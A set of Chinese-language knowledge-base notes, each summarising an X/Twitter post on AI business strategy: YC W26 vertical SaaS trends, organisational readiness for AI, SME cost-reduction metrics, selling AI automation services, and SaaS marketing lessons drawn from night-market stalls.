_作者盤點了 YC W26 的 132 個錄取項目，發現了驚人的「務實化」趨勢。65% 的項目是 B2B 垂直領域 SaaS（如建築、律師、財務的 AI 助手），沒有人再講「做個平台顛覆世界」的大故事。AI 已經從「噱頭」退居為「底色」，真正值錢的是「解決具體的痛點並立刻收錢」。此外，受高度監管的醫療與金融產業，反而因為合規護城河成為了投資熱點。_
### 一句話
> 這是一篇對 YC W26 投資趨勢的硬核數據分析。分析 132 個頂尖新創項目後，結論出奇地接地氣：YC 不投通用型 AI 平台，只投「在極度垂直場景（如工地電力估算、飛機技師管理）中已經跑通並收費」的小團隊（平均 2.7 人）。這意味著 AI 的基礎建設期已過，現在是「應用落地與商業變現」的肉搏戰。監管不是障礙而是護城河，越垂直、越無聊的生意，越能賺錢。
### 餐巾紙草圖
```text
[ YC W26 Investment Logic ]
1. The Math:
132 Projects -> 87 B2B (65%) -> 0 "General Platforms". All are Hyper-Vertical.
2. The AI Role:
AI is NOT the product. AI is the LEVER for the SaaS product.
3. The Moat:
Hard Regulation (Finance / Healthcare / Legal) = Strong Moat.
Boring Industries (Real Estate / Agriculture) = Zero Competition.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **數據概覽**: 132 個項目，65% 是 B2B，平均團隊 2.7 人。
- **賽道分析**:
- **B2B**: 佔比最大。全是極度具體的場景（幫建築師畫圖、動態定價、審計自動化、法律合規）。沒有人做通用大模型。
- **金融與醫療**: 佔 14%。週期長、監管嚴，但 YC 喜歡，因為「監管是壁壘，能過監管就有護城河」。
- **工業/能源/建築**: 被大眾忽視，但需求真實且利潤豐厚。
- **消費者 (ToC)**: 僅佔 5%，最卷且極難存活。
- **成功率密碼 (YC 投資邏輯)**:
1. 先收錢，不畫大餅。
2. AI 是提升效率的槓桿，不是商業模式的噱頭。
3. 團隊極小（2人能跑通說明需求極痛）。
4. 越垂直，越賺錢。
- **普通人的機會**: 尋找中國/本土市場數位化程度低的傳統產業（建築、農業、製造業），做垂直 SaaS。不要追逐通用 AI 概念，去解決身邊具體且枯燥的問題。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **資本的退潮與務實**: 2023-2024 年是「百模大戰」，VC 投基礎設施。到了 2026 年，技術已經平民化，投資邏輯回歸商業本質：你能否產生正向現金流？因此，能直接幫企業省錢或賺錢的 B2B SaaS 成為唯一贏家。
2. **通用的死亡，垂直的崛起**: 通用工具（如 ChatGPT）無法解決「醫院看診流程」或「律師審查簽證」的最後一哩路。那些自帶產業 Know-how，將 AI 包裝成「AI 員工 (Agent)」的垂直軟體，才是真正能切入工作流的利器。
3. **小團隊的高估值**: 既然 AI Agent 已經能取代初級工程師、設計師與客服（呼應了前面的《BestBlogs 每日早報 EP41》），那創業就不再需要 20 人的團隊。兩個擁有深刻行業洞察的 Founder，加上一群 Agent，就能打造千萬營收的企業。
### 關鍵證據
- 項目名單：作者羅列了幾十個 YC 項目，如 `Avoice` (建築師 Copilot)、`Stilta` (幫律師寫專利)、`Veriad` (AI 合規官員)、`Bidflow` (電力估算 AI)。名字和功能都極度「無聊」，但直指核心痛點。
### 邊界條件
- 垂直 SaaS 的前提是「該行業具備付費意願與付費能力」。如果進入一個利潤極薄或抗拒數位化的夕陽產業，即使 AI 解決方案再好，也可能收不到錢。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了《The Agent Development Lifecycle》中強調的「解決真實世界問題」，以及吳恩達提出的「AI 原生小團隊（2-10人通才）」概念。技術不再是瓶頸，行業理解與產品化才是。
- **深層洞見**: **"不管这个点子听起来多无聊，他们已经跑通了。" (No matter how boring the idea sounds, they have already made it work.)** 這句話打醒了無數想「顛覆世界」的創客。改變世界是附屬品，賺錢才是第一義。
- **行動呼籲**:
停止開發你的「多功能 AI 筆記軟體」或「萬能寫作助手」。去請一個房仲、會計師或工廠廠長喝杯咖啡，問他們每天最浪費時間、最想花錢找人代勞的「無聊工作」是什麼。然後用 Claude/Hermes 幫他們寫一個自動化腳本，第一天就向他們收費。
商業策略
你無法優化一個黑箱：為什麼大多數公司根本配不上 AI (Unready for AI)
"不要再抱怨 AI 不夠聰明了。真正的問題是，你的公司就是一個「糊塗賺錢的混亂黑箱」。AI 是一台極致的執行機器，但如果你連自己公司的具體工作流、卡點與核心指標都講不清楚，AI 就只會幫你的員工自動生成更多沒用的精美報告。在這場 AI 淘汰賽中，決定勝負的不是誰買了最貴的大模型，而是誰有資格（擁有清晰的自我認知與組織紀律）拿到進入新世界的門票。"
---
tags: [商業策略, 認知框架]
date: 2026-05-03
source: "20260512_2026-05-05T094212+0800-大多数公司根本没有为 AI 做好准备.md"
---
# 你無法優化一個黑箱：為什麼大多數公司根本配不上 AI (Unready for AI)
原始來源與檔名：20260512_2026-05-05T094212+0800-大多数公司根本没有为 AI 做好准备.md
來源：[[@dotey]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094212+0800-大多数公司根本没有为 AI 做好准备.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> AI = Flawless Execution Engine.
> Most Companies = Vague Goals + Chaos Blackbox.
> Chaos Blackbox * AI = Faster generation of useless garbage (Scaled Chaos).
_這是一篇對企業界毫不留情的診斷文。作者在諮詢了無數全球 1000 強企業後發現：公司用不好 AI，根本不是 AI 技術不成熟，而是公司自己的內部管理一團糟。AI 的核心是「執行」，但絕大多數公司連自己「到底想達成什麼目標」、「工作流具體是長怎樣」都說不清楚。當老闆把強大的 AI 丟進一個混亂的組織黑箱裡，只會讓員工用 AI 產出更多包裝華麗但毫無價值的廢話 PPT。只有內部流程極度通透、目標清晰的公司，才能真正接住 AI 帶來的降維打擊武器。_
### 一句話
> 不要再抱怨 AI 不夠聰明了。真正的問題是，你的公司就是一個「糊塗賺錢的混亂黑箱」。AI 是一台極致的執行機器，但如果你連自己公司的具體工作流、卡點與核心指標都講不清楚，AI 就只會幫你的員工自動生成更多沒用的精美報告。在這場 AI 淘汰賽中，決定勝負的不是誰買了最貴的大模型，而是誰有資格（擁有清晰的自我認知與組織紀律）拿到進入新世界的門票。
### 餐巾紙草圖
```text
[ The AI Organizational Multiplier ]
Clear Company:
Knows exactly what the problem is -> Writes clear specs -> AI automates it -> Exponential Growth.
Chaos Company:
Vague "Be more innovative" goal -> AI creates 50 slide decks -> Illusion of work -> Strategic Death.
"You cannot optimize something you don't understand."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心矛盾**: 公司覺得 AI 沒用，其實是因為公司自己說不清楚到底想要 AI 執行什麼。你無法去優化一個連你自己都沒搞懂的東西。
- **混亂黑箱 (Chaos Blackbox)**: 大多數企業能活下來是靠運氣和幾個絕招，內部運作是一個黑箱。如果要他們描述具體的戰略、挑戰與工作流，他們會一臉茫然。
- **AI 的副作用**: 在混亂的公司裡，高層下令「擁抱 AI」，員工就會用 AI 生成花俏的幻燈片和圖表來「瞎忙活」，掩蓋真正的業務隱患（給壞掉的引擎鍍金）。
- **真正能被 AI 賦能的公司特徵**:
- 清晰知道在為客戶解決什麼問題。
- 清楚現有方案的缺陷。
- 有明確的長遠目標與衡量指標 (Metrics)。
- 任務分工明確，成本計算精準。
- (最重要) 這些答案在不同季度能保持高度一致，而不是朝令夕改。
- **降維打擊的未來**: 小公司因為組織扁平、目標清晰，更容易接住 AI 的賦能，從而爆發出堪比大企業的戰鬥力，對臃腫的大公司形成降維打擊。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 是放大器，不是方向盤**: AI 是一個極度強大的函數 `f(x)`。如果你的輸入 `x`（公司戰略與流程）是清晰的數字，它會給你巨大的產出；如果你的 `x` 是混亂與模糊，它就會把混亂放大一千倍。
2. **組織摩擦力大於技術摩擦力**: 作者點出，許多大公司推不動 AI，是因為部門之間的目標每季都在變。在這種政治與目標不斷搖擺的環境下，任何自動化腳本或 Agent 都活不過三個月，因為底層邏輯一直在變。
### 關鍵證據
- 作者作為頂級顧問的實地觀察：當詢問高層「具體工作流是什麼」時，對方需要花好幾週立項才能回答。這種對自身業務顆粒度的無知，是無法實施 Agentic Workflow 的致命傷。
### 邊界條件
- **混沌期的價值**: 在某些極度早期的創新階段（如尋找 Product-Market Fit），公司必然處於某種程度的混沌。但作者強調的是，如果連日常的「交付營運流程」都是黑箱，那 AI 絕對救不了你。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了前文《企業 AI 轉型，究竟該怎麼做？》中提到的「降本看帳單，增效看感覺」。只有流程清晰的公司，才能算出那筆「省下 3 個人頭」的精確帳單。混亂的公司只能追求虛無縹緲的「增效感覺」。
- **深層洞見**: **"作为一个企业，你现在最该问自己的第一个问题，不是“AI 能为我做什么”，而是“我的公司现在的状态，配得上让 AI 来帮忙吗？”"** 這是最發人深省的拷問。AI 是一面照妖鏡，它照出了多少傳統企業其實只是靠著巨大的人口紅利和資訊差在低效運轉。
- **行動呼籲**:
在你決定採購下一個 AI 系統之前，先做一個「斷捨離」測試：請你的部門主管在一頁 A4 紙內，畫出你們部門從接單到交付的具體流程圖 (Workflow)，並標出每個環節的時數成本。畫不出來？那就先把錢省下來，去搞清楚你的公司到底在幹嘛再說。
商業策略
刺破泡沫：中小企業 AI 轉型的唯一指標 (Enterprise AI Transformation)
"別被「賦能」和「數據護城河」這些矽谷黑話給忽悠了。這篇文章是寫給中小企業老闆的清醒劑。判斷一個 AI 專案該不該做，只有一個標準：它是讓你「省了三個夜班客服」的硬核降本，還是讓你「感覺團隊效率提升 30%」的虛幻增效？永遠只為能在下個月財務報表上算得清的「降本帳單」簽字，拒絕那些需要用時間與人力去換取的「場景深度」。"
---
tags: [商業策略, 認知框架]
date: 2026-05-01
source: "20260512_2026-05-05T094139+0800-企业 AI 转型，究竟该怎么做？.md"
---
# 刺破泡沫：中小企業 AI 轉型的唯一指標 (Enterprise AI Transformation)
原始來源與檔名：20260512_2026-05-05T094139+0800-企业 AI 转型，究竟该怎么做？.md
來源：[[@rwayne]] / X (Twitter) — 2026-05-01
原始檔名：`2026-05-05T094139+0800-企业 AI 转型，究竟该怎么做？.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Cost Reduction (降本) = Look at the Bill (Objective Math) -> Sign the contract.
> Efficiency Gain (增效) = Look at the Feeling (Subjective Judgment) -> 6-month sales cycle -> High Churn.
> Investor Buzzwords != SME Needs ("Data Moats" and "Scenario Depth" are red flags for SME owners).
_這是一篇極度接地氣的「中小企業 AI 避坑指南」。2026 年的企業 AI 賽道異常擁擠，充滿了如「大模型生態」、「數據壁壘」等高大上的術語。但作者一針見血地指出：這些詞是講給投資人聽的，不是講給想活下來的中小企業老闆聽的。老闆採購 AI 只該看一件事：下個月的財務報表上，這套系統具體幫我省了多少錢？文章將 AI 應用粗暴地分為「看帳單的降本」與「憑感覺的增效」，並強烈建議中小企業只為前者買單。_
### 一句話
> 別被「賦能」和「數據護城河」這些矽谷黑話給忽悠了。這篇文章是寫給中小企業老闆的清醒劑。判斷一個 AI 專案該不該做，只有一個標準：它是讓你「省了三個夜班客服」的硬核降本，還是讓你「感覺團隊效率提升 30%」的虛幻增效？永遠只為能在下個月財務報表上算得清的「降本帳單」簽字，拒絕那些需要用時間與人力去換取的「場景深度」。
### 餐巾紙草圖
```text
[ The SME AI Purchasing Filter ]
Product Pitch -> "Increases team efficiency by 30%!"
-> Requires Subjective Judgment (Feelings)
-> High churn risk / Implementation drag.
-> ACTION: REJECT.
Product Pitch -> "Replaces 3 manual data entry clerks."
-> Simple Math (Software cost < 3 Salaries)
-> Immediate ROI.
-> ACTION: BUY.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **賽道現況**: 2026 年 AI 方案商氾濫，充斥著賣焦慮與堆砌名詞（DeepSeek, Claude, 數據壁壘）的行銷話術，導致許多老闆花大錢踩坑。
- **兩套語言系統**: 廠商的話術受眾是「投資人與董事會」，而中小企業老闆需要的是「具體的財務回報」。
- **決策唯一標準：帳單 vs 感覺**:
- **降本看帳單**: 去掉了幾個工人、省了幾個客服。數字明確，立刻簽字續約。
- **增效看感覺**: 效率提升 30% 難以量化，可能被組織摩擦稀釋。決策週期長，續約率不穩定。
- **警惕黑話陷阱**:
- **「數據壁壘」**: 護城河是幫廠商建的，老闆出錢當白老鼠。
- **「場景深度」**: 深度意味著需要企業方投入大量的人力配合成本。
- **例外情況**: 若「增效」能直接折算為財務上的「獲客成本降低」（如廣告 ROI、電商點擊率），則等同於降本，可以投資。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **中小企業的容錯率極低**: 大企業做 AI 轉型可以當作 PR (公關) 或戰略儲備，容許兩三年的回收期。但中小企業的現金流不允許。作者敏銳地抓住「續費意願」這個核心指標：只有能直接反映在下個月「人力成本刪減」或「行銷成本降低」上的專案，才能帶來真實的續費。
2. **合約的逆向選擇 (Adverse Selection)**: 那些主動打折、要求一口氣簽三年長約的 AI 廠商，本質上是因為他們知道自己的產品無法帶來明確的「按月降本」成果，所以急於透過合約鎖住這筆高風險的營收。
### 關鍵證據
- 作者點出了具體的落地場景：工廠少了工人、客服中心少了夜班、財務部少了資料錄入員。這些都是我們在前幾篇文章（如建立 Agent 處理重複性工作）中提到的「可自動化的苦力活」。
### 邊界條件
- **增效的長期價值被忽略**: 這篇文章的視角極端偏向「短期財務回報」。從長遠來看，能讓核心團隊從日常繁瑣中解放出來的「增效型 AI 工具」（如 Copilot），雖然難以算清具體省了多少錢，但對於提升企業的天花板至關重要。不過，對於掙扎在生存線邊緣的中小企業而言，作者的建議絕對是保命金律。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Selling AI Automations》中的定價策略。身為 AI 服務商，你不能對客戶說「我用 Claude 幫你提升效率」，你要說「這套系統能每週幫你省下 10 小時的員工時薪，總計 3000 美元」。
- **深層洞見**: **"护城河是给他建的，不是给你建的。等他的数据壁垒筑起来的时候，你三年的预算已经花掉了。"** 這是對軟體 SaaS 行業最無情的拆解。當廠商強調需要搜集你的資料來「餵養」大模型時，他們其實是在拿你的商業數據與時間來訓練他們自己的核心資產。
- **行動呼籲**:
身為企業主或部門主管，審視你桌上的 AI 採購案。劃掉所有承諾「優化流程體驗」的方案，只留下那些明確寫出「能替代多少工時/人頭」的方案。算一筆簡單的減法，軟體授權費若大於省下的薪水，就丟進垃圾桶。
商業策略
填補市場鴻溝：如何打造並銷售月入萬刀的 AI 自動化服務 (Selling AI Automations)
"技術只是手段，幫老闆省下時間才是你的印鈔機。這篇文章手把手教你如何成為「AI 自動化接案者」：先練熟 Context 與 Skill 文件的撰寫，搞定 MCP 串接；接著找一家本地的房仲或行銷公司，免費幫他們自動化一個每週最痛苦的任務來換取成功案例；最後，用這個案例去向同行報價 3000 美金。老闆買的不是 AI，是每個月省下的 40 個小時。"
---
tags: [商業策略, 開發工具, 實戰教學]
date: 2026-05-02
source: "20260512_2026-05-05T094127+0800-How to Build & Sell AI Automations That Generate $10K Per Month (Full Course).md"
---
# 填補市場鴻溝：如何打造並銷售月入萬刀的 AI 自動化服務 (Selling AI Automations)
原始來源與檔名：20260512_2026-05-05T094127+0800-How to Build & Sell AI Automations That Generate $10K Per Month (Full Course).md
來源：[[@eng_khairallah1]] / X (Twitter) — 2026-05-02
原始檔名：`2026-05-05T094127+0800-How to Build & Sell AI Automations That Generate $10K Per Month (Full Course).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Automation Builder = Context Design + Skill Architecture + MCP Config + Cron Scheduling.
> Business Value = Time Saved * Hourly Rate.
> $3K-$15K Setup Fee + $500/mo Maintenance = Sustainable AI Agency.
_這是一份將 AI 技能變現的完整商業指南。市場上存在巨大的鴻溝：數百萬的企業老闆知道 AI 能省錢，但他們根本不懂什麼是 Context、Skill 檔或 MCP 伺服器；而少數掌握這些技術的人，正以每單 3 千至 1.5 萬美元的價格接案。這篇文章提供了六階段的實踐地圖：從掌握四大核心技術、挑選利基市場、免費做第一個案例 (Case Study)，到如何定價、開發客戶，最後產品化以實現月入萬刀的規模。_
### 一句話
> 技術只是手段，幫老闆省下時間才是你的印鈔機。這篇文章手把手教你如何成為「AI 自動化接案者」：先練熟 Context 與 Skill 文件的撰寫，搞定 MCP 串接；接著找一家本地的房仲或行銷公司，免費幫他們自動化一個每週最痛苦的任務來換取成功案例；最後，用這個案例去向同行報價 3000 美金。老闆買的不是 AI，是每個月省下的 40 個小時。
### 餐巾紙草圖
```text
[ The AI Agency Playbook ]
Phase 1: Build Skills (Context, Skills, MCP, Scheduling)
Phase 2: Pick Niche (e.g., Real Estate, Marketing Agencies)
Phase 3: Free Case Study (Trade 1 free build for a raving testimonial)
Phase 4: Package & Price ($3k-$5k one-time build fee)
Phase 5: Client Outreach (Content + Cold DM + Referrals)
Phase 6: Scale (Productize templates + $500/mo maintenance) -> $10K+/month.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **市場機會**: 企業有需求但缺技術；開發者有技術但缺商業化。這中間的橋樑價值 $5000 - $15000。
- **第一階段：建立工具箱 (四大核心技能)**:
1. **Context 設計**: 訪談客戶，設定 AI 語氣與產業背景。
2. **Skill 架構**: 設計穩定的處理流程與邊界條件。
3. **MCP 伺服器**: 串接真實世界 (Google Drive, Slack, Gmail, Tavily)。
4. **排程自動化 (Cron)**: 讓自動化在無人介入下運行 (如：每日簡報)。
- **第二階段：選擇利基市場 (Niche)**: 房仲業、行銷代理商、電商、金融顧問等。選擇你有領域知識、對方有錢且有大量重複流程的行業。
- **第三階段：第一個成功案例**: 免費幫人做，換取數據（如：每週省下 8 小時）與真實見證。這個案例價值萬金。
- **第四階段：定價策略**: 依據「創造的價值」定價，而非工時。省下 $3000/月的成本，收費 $3000-$5000 一次性建置費是非常合理的 ROI。
- **第五/六階段：獲客與規模化**: 透過內容行銷與冷開拓獲客。將常見的自動化「模版化 (Productize)」，並加入每月 $500 的維護合約，創造穩定現金流。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **資訊落差即利潤**: 一般老闆試用 ChatGPT 的結論是「AI 給的答案太籠統，無法商用」。他們不知道背後缺少了 Context Engineering 與 MCP 串接。自動化工程師販賣的，就是補足這個「最後一哩路 (Last Mile)」的能力。
2. **價值定價法 (Value-Based Pricing)**: 這是接案的黃金法則。不要算自己寫代碼花了幾小時，要算客戶省下了幾小時的員工薪水。當你把 AI 方案包裝成「投資 5000 刀，往後每個月省 3000 刀」的財務決策時，銷售摩擦力就會降到最低。
### 關鍵證據
- 作者列舉了 7 個被驗證過的利基市場及其具體痛點，例如房仲的 CMA 報告與 Listing、行銷公司的客戶報表與 SEO 簡報。這些都是高度標準化、容易被 `skill.md` 取代的「苦力活 (Grunt work)」。
### 邊界條件
- **時間窗口**: 作者誠實地指出，這個市場的紅利期不會永遠存在。「在 18 個月內，市場會變得擁擠。現在建立利基市場的人未來將擁有定價權，而等待的人只能打價格戰。」這是一場與技術普及度賽跑的遊戲。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《企業 AI 轉型，究竟該怎麼做？》一文中的觀點：「降本的產品，看帳單」。當你向客戶兜售這套自動化服務時，不要談 AI 大模型，直接把「省下的人力帳單」與「你的報價單」放在一起給老闆看。
- **深層洞見**: **"A case study that says 'saved 8 hours per week' is worth $10,000 in marketing." (一個寫著「每週省下 8 小時」的成功案例，抵得上價值一萬美金的行銷費用)。** 這是做 B2B 服務最深刻的體悟。信任是無法被憑空說服的，只能靠真實的成果來背書。
- **行動呼籲**:
別再只是自己玩玩 Claude Code。這個週末，找一個你在做行政或行銷工作的朋友，免費幫他把每週都要複製貼上的「週報」或「數據整理」寫成一個自動化的 `skill.md` 並接上 MCP。把這當作你踏入 AI 自動化事業的第一個 Case Study。
商業策略
從夜市攤位看全球 SaaS：藏在一公里煙火裡的商業秘密 (Global SaaS Marketing Lessons from a Night Market Stall)
"這是一篇極具洞察力的商業隨筆，巧妙地將「夜市擺攤」的街頭智慧映射到「全球 SaaS 出海」的產品戰略中。文章提出了五大核心法則：場景優先（將產品做在使用者產生慾望的瞬間，如瀏覽器外掛）、補位共生（依附 Shopify/LinkedIn 巨頭生態解決痛點）、公開創業（Build in Public 建立信任）、認知啟動（做一個佔據視窗常駐提醒的「數字花瓶」），以及拒絕完全免費（用極低的沉沒成本建立心理黏性）。擺攤是生意的極簡模型，出海只是尺度的放大。"
---
tags: [商業策略, 產品設計, 產品行銷]
date: 2026-04-26
source: "20260512_2026-04-28T092654+0800-从夜市摊位看全球 SaaS：商业的秘密，其实都藏在一公里的烟火里.md"
---
# 從夜市攤位看全球 SaaS：藏在一公里煙火裡的商業秘密 (Global SaaS Marketing Lessons from a Night Market Stall)
原始來源與檔名：20260512_2026-04-28T092654+0800-从夜市摊位看全球 SaaS：商业的秘密，其实都藏在一公里的烟火里.md
來源：[[@gosailjasonzhu]] / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092654+0800-从夜市摊位看全球 SaaS：商业的秘密，其实都藏在一公里的烟火里.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Global SaaS Success =
> 1. Scene over Function (Chrome extension > Standalone web app).
> 2. Ecological Niche (Fix giant's flaws > Compete with giants).
> 3. Build in Public (Humanity > Corporate facade).
> 4. Persistent UI Reminder (Digital vase).
> 5. Psychological Sunk Cost ($1 > Completely Free).
_做高大上的全球出海 SaaS 和在街頭擺攤賣滷味有什麼不同？答案是：底層邏輯完全一致。作者透過街頭攤位的五個現象，精準對應了 SaaS 產品的行銷法則。不要做需要使用者刻意登入的龐大系統，要做隨手可得的外掛（就像寫字樓下的煎餅攤）；不要去挑戰巨頭，去幫巨頭打掃難用的退款流程（生態位互補）；透過 Build in Public 消除買賣對立，並用微小的付費門檻鎖定使用者的承諾感。_
### 一句話
> 這是一篇極具洞察力的商業隨筆，巧妙地將「夜市擺攤」的街頭智慧映射到「全球 SaaS 出海」的產品戰略中。文章提出了五大核心法則：場景優先（將產品做在使用者產生慾望的瞬間，如瀏覽器外掛）、補位共生（依附 Shopify/LinkedIn 巨頭生態解決痛點）、公開創業（Build in Public 建立信任）、認知啟動（做一個佔據視窗常駐提醒的「數字花瓶」），以及拒絕完全免費（用極低的沉沒成本建立心理黏性）。擺攤是生意的極簡模型，出海只是尺度的放大。
### 餐巾紙草圖
```text
[ Night Market Stall <====> Global SaaS Product ]
1. "Sell breakfast at office" = Keyword extension in Google search. (Context is King)
2. "Sell drinks next to spicy food" = Refund plugin for Shopify. (Complement the Giant)
3. "Owner's face on the sign" = Build in Public on Twitter. (Trust & Humanity)
4. "Free beautiful vase" = Persistent Sidebar UI. (Daily reminder)
5. "$1 add-on deal" = $0.99 starter pack. (Sunk cost -> Ownership)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心觀點**: 擺攤和做全球 SaaS 沒有壁壘。理解了街頭生意的生死，就能看懂百萬美金軟體的財富密碼。
- **法則一：場景第一，功能第二**:
- 攤位：寫字樓下賣早餐，菜市場賣加菜滷味。
- SaaS：不要做一個需要刻意登入的官網，做一個在你搜尋時立刻彈出的 Chrome 外掛 (如 Keywords Everywhere)。降低摩擦力。
- **法則二：補位共生**:
- 攤位：在大店門口擺攤，幫忙打掃衛生，賣互補品。
- SaaS：幫 Shopify 解決難用的退款流程。不要取代巨頭，去修補巨頭的漏洞，巨頭的流量就會變成你的。
- **法則三：走出攤位，消解對立**:
- 攤位：老闆親自吆喝，把名字掛招牌上。
- SaaS：玩 Build in Public (公開創業)，展示開發日誌、收入與 Bug。從「想賺錢的冷血商人」變成「有血有肉的奮鬥者」，建立信任。
- **法則四：認知啟動 (數字花瓶)**:
- 攤位：賣花人送你花瓶，花瓶每天提醒你買花。
- SaaS：產品本身要是提示器。霸佔側邊欄或常駐通知，而不是一個關掉就忘記的網頁標籤。
- **法則五：沉沒成本陷阱**:
- 攤位：滿額加 1 元換購，比免費送更好。
- SaaS：「完全免費」意味著隨時可棄。讓使用者付 0.99 美金或花 5 分鐘錄入資料，建立「擁有者 (Owner)」的心理承諾感。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **摩擦力決定生死**: 無論是線下的物理距離，還是線上的點擊次數，摩擦力越小轉化率越高。在使用者「餓的那一分鐘」遞上煎餅，等同於在使用者「搜尋的那一秒」給出關鍵字數據。場景永遠大於功能。
2. **信任的降維打擊**: 來自未知團隊的出海 App 天生帶有信任赤字。在資訊透明的時代，展示脆弱性（公開收入與 Bug）反而是最強的信任背書。活人感可以消解 B2C 之間的防備心。
3. **承諾一致性原理 (心理學)**: 人類對免費獲得的東西不珍惜。一旦支付了微小的代價（金錢或時間），大腦為了合理化這個付出，就會產生「我需要好好使用它」的心理暗示，進而提高留存率。
### 關鍵證據
- 實際 SaaS 案例支撐：Keywords Everywhere（場景嵌入）、Shopify 退款外掛（補位共生）、Pieter Levels（Build in Public 標竿人物）。
### 邊界條件
- 這些法則高度適用於 **PLG (Product-Led Growth, 產品驅動增長)** 模式下的 2C 或輕量級 2B SaaS 產品。如果是重度企業級軟體 (Enterprise SaaS)，仍需要傳統的銷售團隊 (SLG) 與嚴謹的合規流程，「擺攤邏輯」的參考價值相對有限。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《YC W26 深度拆解》中提到的「務實的垂直 SaaS 落地」概念——解決一個極度具體、極度瑣碎的問題（如 Shopify 退款），遠比畫一個巨大的 AI 大餅更容易賺到錢。
- **深層洞見**: **"最好的产品应该像写字楼下的煎饼摊，在用户最饿、最着急的那一分钟，直接递到他手里。" (The best product is like a pancake stall outside an office building; it hands you the food exactly in the minute you are most hungry and rushed.)** 永遠不要高估使用者的記憶力與耐心。主動出擊，嵌入他們既有的 Workflow 中。
- **行動呼籲**:
1. 審視你現在開發的 AI 產品：它是一個需要使用者主動「開啟」的網站，還是一個能隨時在他們既有軟體（如瀏覽器、Slack）中「喚醒」的外掛？
2. 嘗試把你的基礎版從「免費 (Free)」改為「$1 終身解鎖」，觀察使用者留存與後續付費意願的變化。
商業策略
終結工具焦慮：將 400 個收藏轉化為現金的收斂之道 (Show Me The Money)
"你的推特收藏夾裡躺著幾百個「改變工作流」的 AI 教程，但這只讓你更焦慮，而不是更富有。這篇文章點醒我們：停止收集新工具，開始「收斂」。把那些買來的定價策略課、冷郵件模板，全部餵進一個單一的 AI 工作流中。你要的不是 2600 個各管各的程式碼小精靈，你要的是一個能從「市場痛點掃描」一路跑到「產品上線收錢」的生意作業系統。"
---
tags: [商業策略, 開發工具]
date: 2026-04-11
source: "20260512_2026-05-05T094201+0800-躺着，把钱赚了.md"
---
# 終結工具焦慮：將 400 個收藏轉化為現金的收斂之道 (Show Me The Money)
原始來源與檔名：20260512_2026-05-05T094201+0800-躺着，把钱赚了.md
來源：[[@JamesAI]] / X (Twitter) — 2026-04-11
原始檔名：`2026-05-05T094201+0800-躺着，把钱赚了.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Infinite Tutorials + Infinite Skills = Infinite Anxiety (Zero Income).
> First Principles Goal = Make Money.
> The Solution = Convergence (All inputs -> One Skill Pipeline -> Output: Cash).
_這是一篇直擊現代 AI 開發者/創業者痛點的反思文。每天推特上都有無數新的 Claude Code skill、新的 Agent 框架、新的 Vibe Coding 教程。我們的收藏夾爆炸了，但銀行帳戶沒有。作者指出，我們不該再尋求「下一個效率工具」，而是該回歸第一性原理：賺錢。他開發了一套開源的生意作業系統 `show-me-the-money`，透過 14 個收斂的 skill，將市場驗證、產品建置、GTM (進入市場) 與增長行銷串聯成一條只為「賺錢」服務的直線。_
### 一句話
> 你的推特收藏夾裡躺著幾百個「改變工作流」的 AI 教程，但這只讓你更焦慮，而不是更富有。這篇文章點醒我們：停止收集新工具，開始「收斂」。把那些買來的定價策略課、冷郵件模板，全部餵進一個單一的 AI 工作流中。你要的不是 2600 個各管各的程式碼小精靈，你要的是一個能從「市場痛點掃描」一路跑到「產品上線收錢」的生意作業系統。
### 餐巾紙草圖
```text
[ Divergence vs. Convergence ]
Divergence (Anxiety):
Tutorials -> Bookmark -> Forget
New Skill -> Install -> Ignore
Courses -> Watch -> Do nothing
Convergence (Show Me The Money):
All Tutorials / Courses / PDFs
│
▼
[ The Money Pipeline (14 Skills) ]
1. Market Gap Scanning
2. Assumption Challenging
3. Product Build & Deploy
4. GTM & Cold Outreach
│
▼
$ Bank Account Growth
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現象與痛點**: AI 時代資訊爆炸，人人都在發教程，大家的收藏夾滿了，但收入沒增加。學習變成了緩解焦慮的安慰劑。
- **第一性原理**: 搞 AI、搞 Agent 的終極目標是「賺錢」（甚至是不動腦子賺錢）。
- **作弊碼哲學**: 遊戲裡有各種作弊碼，但最實用、第一個用的永遠是 `show me the money`（無限金幣），因為有了錢，其他問題就不存在了。
- **收斂系統的誕生**: 作者開發了一個名為 `@orrisai/show-me-the-money` 的 npm 套件（包含 14 個 Claude skill）。這不是效率工具，而是一個「生意作業系統」。
- **工作流範例**: 掃描市場縫隙 -> 挑戰前提假設 -> 產品搭置上線 -> 制定 SEO 與冷郵件策略 -> 增長。卡住時用 `/money-diagnose` 進行底層邏輯問診。
- **核心價值（素材武器庫）**: 這個系統最大的意義，是把你過去收藏的無數教程、PDF、高價課程提取精華，餵進這個管線中，讓收藏夾變成彈藥庫。所有的輸入，只為一個輸出服務：錢。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
